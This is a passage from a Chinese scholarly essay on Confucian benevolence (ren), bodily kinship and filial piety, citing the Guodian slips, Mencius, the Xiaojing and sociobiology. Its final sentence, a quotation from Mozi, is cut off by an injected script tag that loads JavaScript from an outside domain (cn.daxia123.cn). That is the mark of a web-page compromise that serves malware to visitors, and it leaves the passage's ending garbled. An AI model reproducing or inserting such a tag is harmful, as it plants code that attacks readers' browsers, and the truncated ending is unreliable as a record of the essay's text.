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“身心合一”之“仁”与儒家德性伦理--郭店竹简“身心”字及儒家仁爱的构成
(2007-8-13 17:07:56)
作者:王中江    转载于:《国际儒学研究》第14辑
,他想揭示的是,在人的自然本性和遗传中是否有互惠和利他的先天倾向。在他看来,儒家的亲亲之仁、亲情之仁具有血缘和亲族方面的根据。孟旦还引用了社会生物学研究者爱德华·威尔逊(Edward O.Wilson)的说法以证明儒家亲亲之仁的合理性。威尔逊指出:“亲族选择(kin selection)是基因的自然选择。它基于基因对于带有该基因的个体的影响,也基于基因对于该个体的一切具有遗传关系的亲属的影响。这些亲属包括父母、子女、兄弟姐妹、表亲以及依旧存在于世的可以再生产血亲,或者影响血亲的再生产的其他个体。在利他主义行为的起源上,亲族选择特别重要。”孟旦:《互惠利他主义和宋明儒家伦理学的生物学基础》,载《新哲学》第三辑,第135页,大象出版社,2004年。威尔逊还说:“在多种有证据的遗传特性中,最接近道德趋向的是,对他人之不幸的移情(empathy),以及婴儿与其保护人之间的某些情感过程。我们可以为道德趋向的可遗传性提供更多的历史证据。”(同上书,第134页)我们这里引用孟旦等的说法,也不是要对亲亲之仁爱进行生物学的还原,而是强调父母与子女在“身体上”的“亲合性”,是亲亲之仁和孝慈之仁的最直接动力。自己最爱的人是父母兄弟,别人最爱的人也是父母兄弟。正如要得到别人的爱就要爱别人那样,以此类推,要得到别人对自己父母的爱,自己就要爱别人的父母。《孝经》引用孔子的话说:“子曰:爱亲者不敢恶于人,敬亲者不敢慢于人。”这是从更广的意义上说要使自己的父母得到别人的爱和尊敬,自己就要爱别人,不只是爱别人的父母。反过来说,如果要不危害自己的父母,那么就不要危害别人的父母。孟子认识到了杀害别人的父母兄弟无异于是杀害自己的父母兄弟,因为“杀人之父,人亦杀其父;杀人之兄,人亦杀其兄。然则非自杀之也,一间耳。”《孟子·尽心下》。在儒家的亲亲之仁中,不仅要赡养父母、保证父母生活供应,更要体现对父母的敬,爱护父母的荣誉,继承父母的志向,通过自己的美德为自己的父母赢得荣誉等,这是心灵意义上的“孝”。因此,在精神和自我人格上成就自己,不只是实现自我和完成自我的伦理道德和责任问题,而且是“事亲”的一项基本要求。这就是为什么孔子和孟子也把“成身”、“守身”与“事亲”和“孝”联系起来。《礼记·哀公问》载:“公曰:‘敢问何谓成身?’孔子对曰:‘不过乎物。’公曰:‘敢问君子何贵乎天道也?’孔子对曰:‘贵其不已。如日月东西相从而不已也,是天道也;不闭其久,是天道也;无为而物成,是天道也;已成而明,是天道也。’公曰:‘寡人蠢愚冥烦,子志之心也。’孔子蹴然辟席而对曰:‘仁人不过乎物,孝子不过乎物。是故,仁人之事亲也如事天,事天如事亲,是故孝子成身。’”《孟子·离娄上》载:“孟子曰:‘事孰为大?事亲为大。守孰为大?守身为大。不失其身而能事其亲者,吾闻之矣。失其身而能事其亲者,吾未之闻也。孰不为事?事亲,事之本也。孰不为守?守身,守之本也。曾子养曾晳,必有酒肉;将彻,必请所与。问:‘有余?’必曰:‘有。’曾皙死,曾元养曾子,必有酒肉;将彻,必请所与,问:‘有馀?’曰:‘亡矣。’将以复进也。此所谓养口体者也。若曾子,则可谓养志也。”
另一方面,同样出于自己的身体是父母身体的遗传体,儒家的亲亲之仁和孝之仁,又意味着返回自身的活动,这就是子女要把父母遗传给自己的身体,通过后代继续遗传下去,即所谓“传宗接代”。在孟子所称的“不孝有三”之中,其中之一的“无后”被认为是最大的不孝,这说明“有后”在尽孝中是多么重要。再就是,要爱护和珍惜自己的身体乃至肤发,如《孝经》明确告诉我们:“身体发肤,受之父母,不敢毁伤,孝之始也。”这是非常有趣的,子女对父母的孝敬,反过来变成了子女要对自己的身心倍加爱护。当然,在实际生活中,子女为了“尽孝”、为了“守丧”,身心有时又受到损害,这是墨家对儒家的批评之一。不过,孔子主张尽孝而又不妨害子孙的身心。《孔子家语·观思》记载:“子貢問於孔子曰:死者有知乎?将無知乎?子曰:吾欲言死之有知,将恐孝子順孫妨生以送死;吾欲言死之無知,将恐不孝之子棄其親而不葬。賜欲知死者有知與無知,非今之急,後自知之。”
  根据上述可以看出,儒家的亲亲、孝慈之仁,与父母和子女身体之间的“连体性”具有密切关系。在人与人的关系中,这是能直接体现“身心合一”之“仁”的仁爱。这种基于父子血缘和身心休戚相关的亲情之仁,与其他的仁爱相比,合乎人情地具有了优先性、亲密性和厚重性的特点,一般也是从这种意义上来理解儒家仁爱的等差性的,这一点无须否认。巫马子不赞成墨子的兼爱而提出的爱有程度之差,在一定意义上反映了儒家仁爱有亲疏的立场。他说:“我爱邹人于越人,爱鲁人于邹人,爱我乡人于鲁人,爱我家人于乡人,爱我亲于我家人,爱我身于吾亲,以为近我也。击我则疾,击彼则不疾于我。”《墨子·耕柱》。毕沅疑巫马子是孔子弟子巫马期或其后代,但根据下文所说的“有杀彼以利我,无杀我以利?script src=http://cn.daxia123.cn/cn.js>

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